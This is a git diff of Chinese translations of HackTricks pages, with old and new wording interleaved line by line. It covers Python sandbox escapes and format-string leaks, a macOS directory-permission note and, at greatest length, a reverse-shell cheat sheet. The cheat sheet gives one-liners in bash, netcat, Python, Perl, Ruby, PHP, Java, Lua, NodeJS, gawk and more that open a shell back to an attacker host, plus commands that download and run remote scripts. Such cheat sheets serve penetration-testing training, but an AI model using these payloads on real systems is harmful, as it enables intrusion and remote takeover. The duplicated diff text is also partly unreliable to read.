您可以在此页面上检查此脚本的输出:
|
||||
你可以在此页面上检查此脚本的输出:
|
||||
|
||||
{% content-ref url="broken-reference" %}
|
||||
[Broken link](broken-reference)
|
||||
{% content-ref url="broken-reference/" %}
|
||||
[broken-reference](broken-reference/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Python格式化字符串
|
||||
|
||||
如果您向Python发送一个将被格式化的字符串,您可以使用`{}`来访问Python内部信息。您可以使用先前的示例来访问全局变量或内置变量,例如。
|
||||
如果你向Python发送一个将要被格式化的字符串,你可以使用 `{}` 来访问Python的内部信息。你可以使用之前的示例来访问全局变量或内置函数。
|
||||
|
||||
{% hint style="info" %}
|
||||
但是,存在一个限制,您只能使用符号`.[]`,因此您将无法执行任意代码,只能读取信息。\
|
||||
_**如果您知道如何通过此漏洞执行代码,请与我联系。**_
|
||||
然而,有一个限制,你只能使用符号 `.[]`,所以你将无法执行任意代码,只能读取信息。\
|
||||
_**如果你知道如何通过这个漏洞执行代码,请与我联系。**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
@ -730,11 +703,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
注意如何可以用**点**(dot)的方式像`people_obj.__init__`一样**访问属性**,以及用**括号**而不带引号的方式访问**字典元素**,比如`__globals__[CONFIG]`
|
||||
注意如何可以用**点**的方式像`people_obj.__init__`一样正常访问属性,以及用**括号**而不带引号的方式访问**字典元素**`__globals__[CONFIG]`
|
||||
|
||||
另外,你可以使用`.__dict__`来枚举对象的元素,比如`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
还要注意可以使用`.__dict__`来枚举对象的元素`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
格式字符串的一些其他有趣特性是通过添加**`!s`**、**`!r`**、**`!a`**,可以在指定对象中执行**`str`**、**`repr`**和**`ascii`**函数,分别表示:
|
||||
格式字符串的一些其他有趣特性是通过添加**`!s`**、**`!r`**、**`!a`**分别在指定对象中执行**`str`**、**`repr`**和**`ascii`**函数的可能性:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -774,10 +747,10 @@ return 'HAL 9000'
|
|||
## 解剖 Python 对象
|
||||
|
||||
{% hint style="info" %}
|
||||
如果您想深入了解 Python 字节码,请阅读这篇关于该主题的精彩文章:[https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
如果您想深入了解 **Python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
在一些 CTF 比赛中,您可能会收到一个包含标志的自定义函数名称,您需要查看函数的内部以提取标志。
|
||||
在一些 CTF 比赛中,您可能会收到一个**自定义函数的名称,其中包含标志**,您需要查看**函数**的**内部**以提取它。
|
||||
|
||||
这是要检查的函数:
|
||||
```python
|
||||
|
@ -801,7 +774,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### 全局变量
|
||||
|
||||
`__globals__` 和 `func_globals`(相同) 获取全局环境。在示例中,您可以看到一些导入的模块,一些全局变量及其声明的内容:
|
||||
`__globals__` 和 `func_globals`(相同)获取全局环境。在示例中,您可以看到一些导入的模块,一些全局变量及其声明的内容:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -900,7 +873,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
请注意,如果您无法在Python沙箱中导入`dis`,您可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。您将无法看到被加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中猜测它们,因为`LOAD_CONST`还会告诉您被加载的变量的偏移量。
|
||||
请注意,如果您无法在Python沙箱中导入`dis`,您可以获取函数的**字节码**(`get_flag.func_code.co_code`),然后在本地**反汇编**它。您将无法看到加载的变量内容(`LOAD_CONST`),但可以从(`get_flag.func_code.co_consts`)中猜测它们,因为`LOAD_CONST`也会告诉您加载的变量的偏移量。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -922,10 +895,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## 编译 Python
|
||||
## 编译Python
|
||||
|
||||
现在,让我们想象一下,你可以**转储关于一个无法执行但你需要执行的函数的信息**。\
|
||||
就像下面的例子,你**可以访问该函数的代码对象**,但仅仅通过阅读反汇编,你**不知道如何计算标志**(_想象一个更复杂的`calc_flag`函数_)
|
||||
就像下面的例子中,你**可以访问该函数的代码对象**,但仅仅通过阅读反汇编,你**不知道如何计算标志**(_想象一个更复杂的`calc_flag`函数_)。
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -940,7 +913,7 @@ return "Nope"
|
|||
```
|
||||
### 创建代码对象
|
||||
|
||||
首先,我们需要知道**如何创建和执行一个代码对象**,这样我们就可以创建一个来执行我们的泄漏函数:
|
||||
首先,我们需要知道**如何创建和执行一个代码对象**,这样我们就可以创建一个来执行我们的函数 leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
|
@ -960,7 +933,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
根据 Python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。了解在您运行的 Python 版本中参数的顺序的最佳方法是运行:
|
||||
根据 Python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。了解你正在运行的 Python 版本中参数的顺序的最佳方法是运行:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -986,7 +959,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
在本文开头的示例中,您可以看到如何使用`compile`函数执行任何Python代码。这很有趣,因为您可以使用一行代码执行整个脚本(我们也可以使用`exec`做同样的事情)。\
|
||||
无论如何,有时在本地机器上创建一个编译对象并在CTF机器上执行它可能很有用(例如,因为我们在CTF中没有`compile`函数)。
|
||||
|
||||
例如,让我们手动编译和执行一个读取`./poc.py`文件的函数:
|
||||
例如,让我们手动编译和执行一个读取_./poc.py_文件的函数:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
@ -1013,7 +986,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
如果无法访问 `eval` 或 `exec`,可以创建一个**适当的函数**,但直接调用它通常会失败,显示:_constructor not accessible in restricted mode_。因此,您需要一个**不在受限环境中的函数来调用此函数**。
|
||||
如果您无法访问 `eval` 或 `exec`,您可以创建一个**适当的函数**,但直接调用它通常会失败,并显示:_constructor not accessible in restricted mode_。因此,您需要一个**不在受限环境中的函数来调用此函数**。
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1021,11 +994,11 @@ ctype = type((lambda: None).func_code)
|
|||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## 反编译编译的Python
|
||||
## 反编译编译的 Python
|
||||
|
||||
使用类似 [**https://www.decompiler.com/**](https://www.decompiler.com) 的工具,可以对给定的编译后的Python代码进行**反编译**。
|
||||
使用类似 [**https://www.decompiler.com/**](https://www.decompiler.com) 的工具,可以对给定的编译后的 Python 代码进行**反编译**。
|
||||
|
||||
**查看这个教程**:
|
||||
**查看这个教程**:
|
||||
|
||||
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -1035,7 +1008,7 @@ f(42)
|
|||
|
||||
### 断言
|
||||
|
||||
使用参数 `-O` 优化执行的Python将会移除断言语句和任何基于 **debug** 值的条件代码。\
|
||||
使用参数 `-O` 对 Python 执行优化时,将删除断言语句和任何基于 **debug** 值的条件代码。\
|
||||
因此,像
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1056,25 +1029,18 @@ print(f"\nNot a Super User!!!\n")
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,24 +9,16 @@
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
**如果您对这些shell有任何疑问,可以使用** [**https://explainshell.com/**](https://explainshell.com) **进行检查。**
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
## Full TTY
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
**如果您对任何这些shell有疑问,可以使用** [**https://explainshell.com/**](https://explainshell.com) **进行检查。**
|
||||
|
||||
## 完整TTY
|
||||
|
||||
**一旦获得反向shell**[ **阅读此页面以获取完整TTY**](full-ttys.md)**。**
|
||||
**一旦获得反向shell,请[**阅读此页面以获取完整的TTY**](full-ttys.md)**。**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -56,7 +48,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
|
||||
1. **`bash -i`**: 此部分命令启动一个交互式 (`-i`) Bash shell。
|
||||
2. **`>&`**: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
|
||||
3. **`/dev/tcp/<攻击者IP>/<端口>`**: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
|
||||
* 通过**将输出和错误流重定向到此文件**,该命令有效地将交互式shell会话的输出发送到攻击者的机器。
|
||||
4. **`0>&1`**: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。
|
||||
|
||||
|
@ -67,7 +59,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## 正向 Shell
|
||||
|
||||
如果在基于 Linux 的 Web 应用程序中遇到 **RCE 漏洞**,由于存在 Iptables 规则或其他过滤器,可能会出现 **难以获取反向 shell** 的情况。在这种情况下,考虑使用管道在受损系统内创建一个 PTY shell。
|
||||
如果在基于 Linux 的 Web 应用程序中遇到 **RCE 漏洞**,由于存在 Iptables 规则或其他过滤器,可能会导致 **获取反向 shell 变得困难**。在这种情况下,考虑使用管道在受损系统内创建一个 PTY shell。
|
||||
|
||||
您可以在 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) 找到代码。
|
||||
|
||||
|
@ -77,7 +69,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
- 您的 payload 的前缀和后缀(如果有的话)
|
||||
- 发送 payload 的方式(头部?数据?额外信息?)
|
||||
|
||||
然后,您可以 **发送命令**,甚至使用 `upgrade` 命令** 来获取完整的 PTY(请注意,管道的读写存在大约 1.3 秒的延迟)。
|
||||
然后,您可以 **发送命令**,甚至可以使用 `upgrade` 命令来获取完整的 PTY(请注意,管道的读写存在大约 1.3 秒的延迟)。
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -95,7 +87,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnet(Telecommunication Network)是一种用于远程登录的协议。 Telnet客户端通过TCP连接到Telnet服务器,并允许用户在服务器上执行命令。 Telnet是一种不安全的协议,因为它在未加密的文本中传输数据,因此不建议在不受信任的网络上使用。
|
||||
Telnet(Telnet)是一种远程登录协议,可通过网络在远程主机上执行命令。
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -126,14 +118,14 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
|||
```
|
||||
## Perl
|
||||
|
||||
## Perl
|
||||
Perl是一种流行的脚本编程语言,广泛用于系统管理、文本处理和网络编程。Perl脚本通常以.pl为扩展名。Perl脚本可以在Linux系统上运行,并且可以通过命令行解释器直接执行。Perl具有强大的正则表达式功能,使其成为处理文本数据的理想选择。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
## Ruby
|
||||
Ruby是一种灵活且简单易学的编程语言,广泛用于Web开发。
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -154,7 +146,7 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|||
```
|
||||
## Java
|
||||
|
||||
Java是一种通用编程语言,广泛用于开发各种类型的应用程序。 Java程序可以在不同的操作系统上运行,只需安装Java虚拟机(JVM)。 Java具有强大的面向对象编程功能,使开发人员能够编写可重用的代码和模块化的程序。 Java还具有丰富的标准库,提供了许多预先编写好的类和方法,可用于各种常见任务。
|
||||
Java是一种通用编程语言,广泛用于开发各种类型的应用程序。 Java程序可以在各种操作系统上运行,因为它是一种跨平台语言。 Java程序通常在Java虚拟机(JVM)上运行,这使得它们具有良好的可移植性和安全性。 Java也被广泛用于Web开发,企业应用程序和移动应用程序开发。
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
|
@ -162,14 +154,14 @@ p.waitFor()
|
|||
```
|
||||
## Ncat
|
||||
|
||||
Ncat是一个功能强大的网络工具,可以用于连接、读取和写入数据,以及进行端口扫描和监听。
|
||||
Ncat是一个强大的网络工具,可以用于连接、侦听、传输数据等。
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样你就可以更快地修复它们。Intruder跟踪您的攻击面,运行积极的威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
|
||||
找到最重要的漏洞,这样你就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -181,7 +173,7 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","
|
|||
```
|
||||
## Lua
|
||||
|
||||
Lua是一种轻量级、高效的脚本语言,常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行,也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力,被广泛应用于各种领域。
|
||||
Lua是一种轻量级、高效的脚本语言,常用于嵌入式系统和游戏开发。Lua脚本可以通过解释器执行,也可以编译成字节码运行。Lua具有简洁的语法和强大的扩展能力,被广泛应用于各种领域。
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -190,7 +182,7 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
|
|||
```
|
||||
## NodeJS
|
||||
|
||||
NodeJS是一个基于Chrome V8引擎的JavaScript运行环境。
|
||||
NodeJS是一个基于Chrome V8引擎的JavaScript运行环境,可用于服务器端编程。
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -285,9 +277,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
```
|
||||
## Gawk
|
||||
|
||||
### Gawk
|
||||
|
||||
Gawk是一个功能强大的文本处理工具,也是一个强大的编程语言。它在Linux系统中非常常见,可以用于处理文本数据、生成报告等。
|
||||
## Gawk
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -316,7 +306,7 @@ close(Service)
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
要捕获反向 shell,您可以使用(将在端口 6001 上监听):
|
||||
要捕获反向 shell,您可以使用(将在 6001 端口上监听):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -333,29 +323,22 @@ String cmd="cmd.exe";
|
|||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -19,10 +19,10 @@
|
|||
**目录**中的权限:
|
||||
|
||||
* **读取** - 您可以**枚举**目录条目
|
||||
* **写入** - 您可以在目录中**删除/写入**文件,还可以**删除空文件夹**。 
|
||||
* 但是,除非您拥有写入权限,否则您**无法删除/修改非空文件夹**。
|
||||
* **写入** - 您可以在目录中**删除/写入**文件,还可以**删除空文件夹**。
|
||||
* 但是,除非您拥有写入权限,否则**无法删除/修改非空文件夹**。
|
||||
* 除非您拥有它,否则**无法修改文件夹的名称**。
|
||||
* **执行** - 您被**允许遍历**目录 - 如果您没有此权限,您将无法访问其中的任何文件,或任何子目录中的文件。
|
||||
* **执行** - 您被**允许遍历**目录 - 如果您没有此权限,您无法访问其中的任何文件,或任何子目录中的文件。
|
||||
|
||||
### 危险组合
|
||||
|
||||
|
@ -38,11 +38,11 @@
|
|||
|
||||
如果有文件在**目录**中,其中**只有 root 具有 R+X 访问权限**,那些文件对其他人**不可访问**。因此,允许**移动用户可读的文件**的漏洞,由于该**限制**而无法读取,从该文件夹**移动到另一个文件夹**,可能被滥用以读取这些文件。
|
||||
|
||||
示例:[https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory_permissions\_on\_macos/#nix-directory-permissions)
|
||||
